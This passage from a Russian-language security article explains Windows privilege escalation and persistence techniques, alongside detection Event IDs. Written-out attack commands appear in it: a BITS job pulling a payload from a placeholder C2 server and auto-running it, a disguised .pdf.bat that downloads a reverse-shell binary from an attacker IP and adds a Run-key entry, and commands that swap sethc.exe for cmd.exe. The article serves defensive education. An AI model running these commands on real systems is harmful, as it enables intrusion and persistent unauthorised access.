wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows". Все результаты без кавычек потенциально уязвимы. - Появление нового исполняемого файла в директориях типа
C:\Program Files\<AppName>\. Это фиксируется в Sysmon (Event ID 11 — создание файла). - Запуск процесса с неожиданным именем или путем от имени службы. Фиксируется как Event ID 4688 в журнале безопасности Windows или Event ID 1 в Sysmon.
- Процессы, запущенные от имени SYSTEM из пользовательских директорий. Это нетипичное поведение и надежный индикатор компрометации.
AlwaysInstallElevated — повышения прав при установке
В Windows существует параметр групповой политики AlwaysInstallElevated, который позволяет обычному пользователю устанавливать MSI‑пакеты с системными привилегиями. Эту настройку используют специалисты, чтобы упростить установку программ, не предоставляя пользователям права администратора.
Ключи AlwaysInstallElevated могут появляться по разным причинам: из‑за некорректной настройки групповой политики, остатков временных конфигураций или ошибок при клонировании образов системы.
Если злоумышленник получает доступ к системе с включенным параметром AlwaysInstallElevated, он может запускать MSI‑пакеты с правами SYSTEM. Это позволяет внедрять вредоносные компоненты: создавать учетные записи с административными привилегиями, отключать антивирусное ПО или организовывать скрытый постоянный доступ.
Для проверки наличия этой политики используются следующие разделы реестра:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Если оба ключа присутствуют и имеют значение 1, хост уязвим к эксплуатации через установку вредоносного MSI‑пакета с привилегиями SYSTEM.
При расследовании инцидентов наличие этих ключей со значением 1 — индикатор потенциальной уязвимости. Дополнительным сигналом служат события установки MSI‑пакетов от имени непривилегированных пользователей. Они фиксируются в журнале событий Windows (Event ID 1033, 1034).
Bring your own vulnerable driver (BYOVD) — эксплуатация уязвимых драйверов
Эта техника повышения привилегий и обхода средств защиты основана на злоупотреблении легитимными, но уязвимыми драйверами ядра. Драйверы выполняются в контексте ядра ОС (Ring 0) и имеют максимальный уровень привилегий, даже выше, чем любой пользовательский процесс, включая запущенные от имени SYSTEM.
Ключевая особенность техники отражена в названии: атакующему не нужно искать уязвимость в самой Windows, вместо этого он приносит с собой собственный (bring your own), заведомо уязвимый, но легитимно подписанный драйвер и устанавливает его в атакуемой системе.
Windows, начиная с версии 10, требует, чтобы драйверы ядра были подписаны цифровой подписью (driver signature enforcement), а для 64‑битных систем — еще и проходили сертификацию через программу Windows Hardware Compatibility Program (WHCP). Это требование призвано не допустить загрузку произвольного неподписанного вредоносного кода в ядро.
Проблема в том, что подпись гарантирует лишь происхождение драйвера, но не отсутствие в нем уязвимостей. Существует множество легитимных, официально подписанных драйверов, часто их выпускают известные производители антивирусов, утилит мониторинга, средств виртуализации, ПО для разгона оборудования. Эти драйверы содержат уязвимости, позволяющие непривилегированному пользовательскому процессу отправлять драйверу команды через IOCTL‑запросы и получать следующие возможности:
- Чтение и запись произвольной физической или виртуальной памяти ядра.
- Завершение защищенных процессов, в том числе процессов средств защиты — EDR и антивирусов.
- Отключение PatchGuard, DSE (Driver Signature Enforcement) или других механизмов защиты ядра.
- Прямое повышение токена процесса до SYSTEM за счет манипуляций в памяти ядра.
Поскольку сам драйвер подписан легитимным сертификатом, стандартные механизмы контроля (Driver Signature Enforcement, Secure Boot) его загрузку не блокируют: с точки зрения ОС это доверенный компонент.
Компоненты атаки
- Уязвимый драйвер — сама библиотека
.sys, содержащая эксплуатируемую логику обработки IOCTL‑запросов. Как правило, это устаревшая версия драйвера от реального производителя, для которой уязвимость уже задокументирована публично (например, в базе LOLDrivers). - Установка драйвера — загрузка уязвимого драйвера в систему через Service Control Manager. Это требует прав локального администратора, но не требует прав SYSTEM или уровня ядра. То есть точка входа для атаки начинается с обычных администраторских прав, а не с уровня пользователя).
- Эксплоит‑компонент — пользовательское приложение, которое взаимодействует с загруженным драйвером через DeviceIoControl, отправляя специально сформированные IOCTL‑запросы для триггера уязвимости.
- Полезная нагрузка в ядре — итоговое действие: чтение или запись памяти, отключение защитных механизмов, повышение привилегий процесса атакующего.
С точки зрения злоумышленника наибольший интерес представляют именно вторая и третья стадии. Установка драйвера как службы ядра и последующая отправка IOCTL‑команд оставляют следы в системе и потенциально видны средствам мониторинга.
Установка драйвера
Драйвер регистрируется как служба ядра (kernel‑mode service) через стандартный sc.exe, аналогично созданию обычной службы, но с указанием типа kernel:
sc.exe create VulnDrv type= kernel binPath= C:\Temp\vulnerable.sys sc.exe start VulnDrv
После запуска драйвер создает символьное устройство (\\.\DeviceName), с которым пользовательский процесс атакующего взаимодействует через CreateFile и DeviceIoControl. Так же легитимное ПО производителя взаимодействует с собственным драйвером в штатной работе.
В отличие от предыдущих техник, где мы намеренно создавали тестовое окружение (службу, безобидную DLL, задачу планировщика), воспроизвести BYOVD подобным образом невозможно. Суть техники не в абстрактной модели, а в реально существующем уязвимом драйвере. Без него демонстрация превращается в профанацию (запуск безобидного .sys, не иллюстрирующий суть атаки) или в использование настоящего уязвимого драйвера и настоящего эксплоита для него.
Написать «уязвимый драйвер‑заглушку» с нуля, как мы делали с DLL, не получится. Ценность и опасность BYOVD как раз в том, что драйвер официально подписан легитимным производителем и прошел сертификацию Microsoft. Это нельзя сымитировать в лабораторных условиях без обращения к реальным подписанным образцам с известными уязвимостями.
По этой причине мы не приводим пример рабочего PoC, конкретные IOCTL‑запросы или ссылки на исходный код эксплоитов для упомянутых уязвимых драйверов.
Механизм закрепления
После получения повышенных привилегий злоумышленник, как правило, стремится закрепиться в системе. Если этого не сделать, доступ легко потерять: пользователь сменит пароль, система перезагрузится, вредоносный процесс завершится или будет обнаружен средствами защиты.
Закрепление — это набор техник, которые позволяют атакующему сохранять доступ к скомпрометированной системе на протяжении длительного времени, несмотря на изменения в ее состоянии. Основная цель — обеспечить повторный доступ к системе без необходимости повторной эксплуатации уязвимости или компрометации учетных данных.
Для этого злоумышленники изменяют конфигурацию системы или используют легитимные механизмы Windows: добавляют новые учетные записи, настраивают автозагрузку, модифицируют службы, внедряются в существующие процессы, используют планировщик задач и т. д.
Важно понимать, что закрепление и повышение привилегий часто тесно связаны между собой. Некоторые техники повышения привилегий одновременно создают условия для закрепления, а закрепление, в свою очередь, может использоваться для последующего повышения прав.
Рассмотрим наиболее распространенные практические методы закрепления в Windows.
Scheduling task — эксплуатация запланированных задач
Запланированные задачи — это автоматизированные процессы, выполняемые службой планировщика задач в определенное время или при наступлении заданных условий. Каждая задача включает несколько компонентов:
- триггеры, определяющие момент срабатывания;
- действия, указывающие, какие операции будут выполнены при срабатывании;
- субъекты, определяющие контекст безопасности задачи;
- параметры, регулирующие поведение задачи;
- сведения о регистрации, включая дату создания и авторство;
- дополнительные данные, предоставляемые автором задачи.
Структура запланированной задачи:
Наибольший интерес для злоумышленника представляют:
- Триггеры, потому что позволяют обеспечить регулярное выполнение задачи, что делает их удобным механизмом закрепления в системе.
- Действия, так как определяют исполняемый объект и при наличии уязвимостей (например, небезопасные права доступа, возможность подмены файла или DLL) могут использоваться для выполнения вредоносного кода.
- Субъекты, потому что задают уровень привилегий, с которыми будет выполняться задача. Если задача запускается от имени администратора или SYSTEM, злоумышленник получает возможность выполнять действия с повышенными правами.
Чтобы создать и отредактировать задачу, используются следующие встроенные инструменты:
- Планировщик задач — графический интерфейс, позволяющий создавать, редактировать и анализировать задачи. Чаще его используют администраторы, но злоумышленники применяют его при интерактивном доступе к системе.
schtasks.exe— утилита командной строки для работы с задачами. Позволяет создавать, изменять и удалять задачи как локально, так и удаленно. Часто используется в сценариях автоматизации и является одним из наиболее распространенных инструментов в атаках.- PowerShell (Scheduled Tasks cmdlets) — набор командлетов (например, New‑ScheduledTaskAction, New‑ScheduledTaskTrigger, Get‑ScheduledTask), предоставляющий гибкие возможности управления задачами. Используется как администраторами, так и злоумышленниками для скрытого создания и модификации задач.
at.exe— устаревшая утилита, замененная наschtasks.exe, но все еще встречающаяся в старых версиях Windows или в сценариях, ориентированных на обратную совместимость.- Реестр (
regedit.exe,reg.exe) — место, где хранятся задачи планировщика, наряду с файловой системой. Работа с ними позволяет косвенно создавать или модифицировать эти задачи. Этот способ позволяет злоумышленникам обойти стандартные механизмы защиты и скрыть свою активность.
Выбор этих инструментов обусловлен тем, что это штатные средства Windows, которые широко применяются в реальных сценариях администрирования. Это позволяет злоумышленникам маскировать свою активность под легитимные действия (подход living off the land).
При расследовании инцидентов создание и изменение запланированных задач фиксируется в журнале событий Windows. Ключевые Event ID для мониторинга:
- 4698 — создание новой запланированной задачи;
- 4702 — изменение существующей задачи;
- 4699 — удаление задачи;
- 4700 и 4701 — включение и отключение задачи.
Особого внимания заслуживают задачи, созданные непривилегированным пользователем от имени SYSTEM или администратора, задачи с нестандартными путями к исполняемым файлам (Temp, AppData, ProgramData), а также задачи без описания и с подозрительными именами, имитирующими системные.
BITS job — уязвимость фоновой передачи данных
Windows Background Intelligent Transfer Service (BITS) — это асинхронный механизм передачи файлов с низкой пропускной способностью, реализованный через Component Object Model (COM). BITS используется системными обновлениями, мессенджерами и другими приложениями, которым необходимо выполнять фоновые операции передачи данных, не нарушая работу основных сетевых приложений.
Передача файлов происходит через задания BITS, которые формируют очередь из одной или нескольких операций. Управление заданиями доступно через PowerShell и утилиту BITSAdmin.
Злоумышленники используют BITS для создания заданий, загружающих и выполняющих вредоносный код. Этот код может обеспечивать установление обратного соединения с сервером управления и контроля (C2) или выполнение других действий, направленных на компрометацию системы.
Задания BITS могут сохраняться после перезагрузки и оставаться активными даже при отсутствии входа пользователя, что делает этот механизм удобным инструментом для закрепления в системе и поддержания длительного доступа к скомпрометированному хосту.
Чтобы понять, как задания BITS могут использоваться для закрепления и доставки вредоносного кода, важно разобраться в их жизненном цикле. Каждое задание BITS проходит через ряд состояний — от создания до завершения или удаления. Эти состояния отражают, на каком этапе находится передача данных и какие действия выполняются системой.
На схеме ниже показаны основные состояния задания BITS и возможные переходы между ними.
Схема состояний BITS‑задания
Основные состояния задания BITS и переходы между ними:
- Queued — задание создано и поставлено в очередь, ожидает начала передачи.
- Connecting — устанавливается соединение с сервером.
- Transferring — идет непосредственная передача данных.
- Suspended — задание приостановлено (вручную или из‑за потери сети).
- Error — произошла ошибка при передаче, требуется вмешательство.
- Transferred — передача завершена, но файлы еще не подтверждены.
- Acknowledged — задание подтверждено и завершено, файлы доступны.
- Cancelled — задание отменено пользователем.
Разберем базовое создание задания BITS — вызова, который лежит в основе как легитимного использования механизма, так и злоупотребления им со стороны атакующих.
Import-Module BitsTransfer $job = Start-BitsTransfer -Source "http://localhost/testfile.bin" -Destination "C:\Temp\downloaded.bin" -Asynchronous Get-BitsTransfer -JobId $job.JobId | Select-Object JobId, DisplayName, TransferType, JobState
Start-BitsTransfer — задание BITS переходит в состояние Transferred
Команда Start-BitsTransfer ставит в очередь фоновую задачу передачи файла с указанного источника (-Source) в указанное место назначения (-Destination). Параметр -Asynchronous означает, что PowerShell не будет ждать завершения передачи и сразу вернет управление, то есть задание продолжит работать в фоне силами самой службы BITS, независимо от того, открыта сессия PowerShell или нет.
На первый взгляд, команда безобидная: ничем не отличается от того, как ее использует, например, Windows Update для скачивания обновлений. Но в этой простоте заключается опасность: атакующему достаточно изменить пару параметров, чтобы превратить штатный механизм в инструмент доставки и закрепления вредоносного кода.
Что меняет атакующий в легитимном вызове BITS
1. Источник (-Source).
В легитимном сценарии источник задания BITS (значение параметра -Source) — доверенный сервер (Microsoft Update, внутренний сервер обновлений компании). Атакующий подменяет его на собственный сервер, откуда раздается вредоносная нагрузка:
-Source "http://<C2-сервер>/payload.exe"
Поскольку BITS работает поверх обычного HTTP/HTTPS, такой трафик визуально не отличается от легитимного фонового скачивания, что усложняет обнаружение на уровне сетевого мониторинга без глубокого анализа содержимого.
2. Назначение (-Destination).
Легитимные задания обычно сохраняют файлы в системные или программные директории. Атакующие чаще выбирают директории, доступные для записи обычному пользователю:
-Destination "$env:TEMP\svchost_update.exe"
Злоумышленники нередко маскируют имя файла под системный процесс (например, svchost, wuauclt), рассчитывая на то, что администратор, бегло просматривающий список процессов или файлов, не насторожится.
3. Команда после завершения (-SetNotifyCmdLine).
Это ключевое отличие вредоносного использования от легитимного. Штатные задания BITS обычно только скачивают файл, оставляя его использование другому процессу. Атакующие же настраивают автоматический запуск скачанного файла сразу по завершении передачи, причем без участия пользователя:
Set-BitsTransfer -BitsJob $job -SetNotifyCmdLine "$env:TEMP\svchost_update.exe", $null
Это превращает обычную загрузку файла в полноценный fileless‑adjacent‑механизм доставки и исполнения: вредоносный код запускается непосредственно службой BITS, а не пользовательским процессом, что усложняет атрибуцию в логах.
4. Использование BITSAdmin вместо PowerShell.
Отдельно стоит отметить, что атакующие нередко избегают PowerShell в пользу устаревшей, но все еще доступной в системе утилиты bitsadmin.exe. Ее реже обнаруживают защитные решения, ориентированные на PowerShell‑логирование (Script Block Logging, AMSI).
Оба механизма анализируют именно PowerShell‑код. Утилита bitsadmin.exe — это отдельный, самостоятельный исполняемый файл, не имеющий отношения к PowerShell, поэтому происходящее внутри нее для этих двух систем защиты просто невидимо, что снижает вероятность обнаружения.
Ключевая особенность заданий BITS в том, что они не привязаны к пользовательской сессии. Однажды поставленное в очередь задание продолжает работать даже после перезагрузки системы и без повторного входа пользователя, пока не будет явно завершено или отменено. Поэтому эта техника закрепления (T1197 — BITS Jobs по MITRE ATT&CK) регулярно фигурирует в отчетах о реальных инцидентах.
Startup explotation — эксплуатация механизма автозагрузки
Автозагрузка в Windows — это механизм, обеспечивающий автоматический запуск программ, скриптов или других процессов при входе пользователя в систему или при загрузке ОС. Механизм используется как для легитимных задач, таких как автоматический запуск часто используемого ПО, так и злоумышленниками для закрепления в системе.
Автозагрузка может реализовываться через несколько механизмов. Папки автозагрузки позволяют автоматически запускать программы или ярлыки: для текущего пользователя это %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, для всех пользователей — %PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup.
Ключи реестра также используются для автозапуска. В разделе Run указываются программы, запускаемые при каждом входе пользователя:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run— для текущего пользователя;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run— для всех пользователей.
Раздел RunOnce обеспечивает однократный запуск программы.
Дополнительно автозагрузка может быть обеспечена через службы и задачи. Службы Windows настраиваются на автоматический запуск при старте системы, а планировщик задач позволяет гибко настраивать запуск программ по различным условиям, включая вход пользователя или состояние системы.
Политики автозагрузки могут определяться групповой политикой. Соответствующие ключи реестра включают: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run и HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run. Программы, перечисленные в значении load‑ключа HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows, запускаются автоматически для текущего вошедшего в систему пользователя.
Ключ BootExecute в разделе HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager изначально содержит autocheck autochk *, что инициирует проверку целостности файловой системы при аварийном завершении работы. Злоумышленники могут модифицировать это значение, добавляя свои процессы, которые будут автоматически выполняться при загрузке системы.
Таким образом, механизм автозагрузки в Windows предоставляет множество точек для автоматического запуска программ, которые могут использоваться как легитимными средствами, так и злоумышленниками для закрепления кода в системе.
Разберем следующий пример. Пользователь скачал из браузера и сразу открыл файл формата PDF, который на самом деле был замаскированным BAT‑файлом.
Malicious script.pdf.bat в проводнике: двойное расширение маскирует исполняемый BAT‑файл под PDF
Содержание BAT‑файла:
Invoke-WebRequest -Uri 'http://192.168.0.57:8080/Shell8.exe' -OutFile '%TEMP%\Shell8.exe' -UseBasicParsing $RegPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' $RegName = 'Shell' New-ItemProperty - Path $RegPath -Name $RegName -Value '%TEMP%\Shell8.exe' -PropertyType String -Force
Логика подобного скрипта обычно строится по следующей схеме:
- Загрузка полезной нагрузки. Скрипт обращается к удаленному серверу и скачивает исполняемый файл, сохраняя его во временную директорию системы (
%TEMP%). Эта папка выбирается не случайно: она доступна для записи обычному пользователю и часто исключена из части проверок целостности. - Подготовка точки закрепления в реестре. Определяется путь к разделу реестра, отвечающему за автозапуск приложений при входе пользователя в систему. Как правило, это стандартный раздел Run, штатно используемый легитимным ПО.
- Формирование имени записи. Задается имя, под которым запись появится в списке автозагрузки. Злоумышленники часто маскируют его под системные или благозвучные названия, чтобы не привлекать внимание при поверхностном просмотре реестра.
- Создание записи автозагрузки. В этот раздел реестра добавляется значение, ссылающееся на путь к ранее загруженному файлу. С этого момента файл будет автоматически запускаться при каждом входе пользователя в систему, обеспечивая злоумышленнику устойчивое закрепление.
Как можно увидеть, при выполнении этот BAT‑файл запускает PowerShell, который обращается к хосту злоумышленника для загрузки вредоносного файла Shell в каталог %Temp%. После чего выполняется команда на добавление загруженного вредоносного файла в ветку реестра, отвечающего за автозагрузку текущего пользователя.
Shell8.exe
Таким образом, после перезагрузки системы злоумышленник получит обратную оболочку (reverse shell) — интерактивный удаленный доступ к командной строке скомпрометированной машины: зараженная система сама подключается к серверу атакующего.
Local Account Creation — создание локальных учетных записей
Один из самых простых и надежных способов закрепиться в системе — создать новую учетную запись. Получив доступ, злоумышленник может добавить локального пользователя для последующего входа. В отличие от временных механизмов, учетная запись остается в системе до тех пор, пока не будет явно удалена. Ее не остановит даже смена паролей, завершение вредоносных процессов или частичная очистка системы.
На практике локальные учетные записи могут быть созданы несколькими способами:
- Через графическую оснастку Computer Management → Local Users and Groups.
- С помощью командной строки:
net userи аналогичные команды. - Через PowerShell:
New-LocalUser,Add-LocalGroupMember. - Программно — через Win32 API, например NetUserAdd.
- Через сценарии автоматического развертывания:
unattend.xml, Sysprep, установочные скрипты.
Отдельный интерес представляют локальные группы, потому что они определяют уровень прав созданной учетной записи. Добавление в нужную группу мгновенно повышает уровень доступа и облегчает дальнейшее продвижение атаки. Для злоумышленника полезной может оказаться каждая из групп в зависимости от сценария:
- Administrators — полный контроль над системой;
- Remote Desktop Users — возможность подключения по RDP;
- Backup Operators — резервное копирование и восстановление данных в обход ограничений файловой системы;
- Distributed COM Users — запуск DCOM‑объектов локально или удаленно.
Наиболее предпочтительная для злоумышленника — группа Administrators, однако именно в ней чаще всего отслеживают изменения. Поэтому для скрытности атакующие нередко используют менее заметные группы с достаточным уровнем прав.
Создание учетных записей и изменение членства в группах фиксируются в журнале событий Windows:
- Event ID 4720 — создание новой учетной записи;
- Event ID 4732 — добавление пользователя в локальную группу безопасности;
- Event ID 4728 — добавление в глобальную группу;
- Event ID 4756 — добавление в универсальную группу.
При расследовании особого внимания заслуживают события создания учетных записей вне рабочего времени, добавление непривилегированных пользователей в группу Administrators, а также учетные записи с именами, имитирующими системные.
Accessibility features modification — модификация функций специальных возможностей
Функции специальных возможностей — это встроенные механизмы Windows, которые упрощают взаимодействие с системой для пользователей с ограниченными возможностями. К этим функциям относятся экранная лупа, экранная клавиатура, залипание клавиш и другие утилиты. Особенность таких компонентов в том, что они могут запускаться еще до входа пользователя в систему, например, с экрана блокировки. При этом такие процессы часто выполняются с повышенными привилегиями, так как являются частью системной функциональности.
Злоумышленники могут злоупотреблять утилитами, подменяя их исполняемые файлы или изменяя связанные с ними настройки. В результате вместо легитимной программы запускается вредоносный код с привилегиями системы. Это позволяет получить доступ к командной строке, выполнить произвольный код до аутентификации пользователя, а также использовать этот механизм для закрепления в системе.
В Windows есть встроенные функции специальных возможностей, которые доступны пользователю как после входа в систему, так и на экране авторизации. К ним относятся:
- Экранный диктор — озвучивает текст и элементы интерфейса, помогая пользователям с нарушениями зрения.
- Экранная лупа — увеличивает отдельные области экрана.
- Экранная клавиатура — позволяет вводить текст с помощью мыши или сенсорного экрана.
- Режим залипания клавиш — дает возможность нажимать клавиши‑модификаторы (Ctrl, Alt, Shift) поочередно, а не одновременно, для выполнения определенных задач.
- Фильтрация ввода — игнорирует кратковременные или повторные нажатия клавиш.
- Высокая контрастность — изменяет цветовую схему интерфейса для повышения читаемости.
- Средство чтения экрана и вспомогательные утилиты — различные инструменты, упрощающие взаимодействие с системой.
Особый интерес с точки зрения атак представляют утилиты, которые могут быть запущены до входа пользователя в систему. К ним относятся:
utilman.exe(центр специальных возможностей);sethc.exe(залипание клавиш);osk.exe(экранная клавиатура);magnify.exe(лупа);narrator.exe(диктор).
Злоумышленники чаще всего используют эти исполняемые файлы для подмены на вредоносные и получения доступа к системе с повышенными привилегиями.
Все файлы специальных возможностей содержатся в каталоге %systemroot%\System32\. Эти функции доступны на экране блокировки как после входа пользователя на хост, так и до.
Сейчас эта техника используется крайне редко по следующим причинам:
- Современные версии Windows защищают системные файлы каталога
System32через Windows Resource Protection (WRP). Прямая перезапись файла без предварительного снятия защиты не сработает. - Для замены файла требуются права администратора. То есть техника не столько повышает привилегии, сколько помогает закрепиться в системе или обойти экран блокировки, если доступ администратора уже был получен.
- Подмена системного бинарного файла фиксируется антивирусом, EDR‑решениями и системами контроля целостности файлов.
- Цифровая подпись подмененного файла не соответствует оригинальной, что дополнительно облегчает детектирование.
На практике эта техника скорее учебная. Она хорошо иллюстрирует логику злоупотребления доверенными компонентами, которые запускаются с повышенными правами до аутентификации, но почти не встречается в современных целевых атаках.
Но для демонстрации механизма рассмотрим подмену sethc.exe (залипание клавиш) на cmd.exe. При пятикратном нажатии клавиши Shift на экране блокировки система вызывает sethc.exe с правами SYSTEM. Если на этом месте окажется командная строка, она запустится с теми же правами еще до входа в систему.
Эта последовательность действий выполняется от имени администратора, выглядит так:
takeown /f C:\Windows\System32\sethc.exe icacls C:\Windows\System32\sethc.exe /grant Администраторы:F copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
sethc.exe заменен на cmd.exe с сохранением резервной копии оригинала
После этого на экране блокировки пятикратное нажатие Shift вызовет не утилиту залипания клавиш, а командную строку с привилегиями SYSTEM.
sethc.exe
На практике злоумышленники чаще используют альтернативные методы, такие как IFEO или предварительное получение повышенных привилегий для обхода защитных механизмов.
Повышение привилегий и закрепление — это ключевые этапы жизненного цикла атаки, которые превращают первоначальный доступ в устойчивый контроль над системой. Так злоумышленник выходит за пределы ограничений текущего пользователя, получает доступ к критическим ресурсам и создает условия для дальнейшего развития атаки.
На примерах типовых техник видно, что для большинства из них не требуются сложные эксплоиты: достаточно использовать особенности конфигурации, избыточные привилегии или легитимные механизмы ОС. В реальных сценариях эти техники практически никогда не используются изолированно, а комбинируются между собой и усиливают друг друга.
Значительная часть техник основана на штатных средствах Windows. Это делает их менее заметными на фоне легитимной активности и усложняет обнаружение.
Понимание механизмов важно при анализе инцидентов и оценке защищенности инфраструктуры. Оно позволяет выявлять не только последствия атак, но и их предпосылки: ошибки конфигурации, избыточные права, небезопасные настройки и аномалии в поведении системы.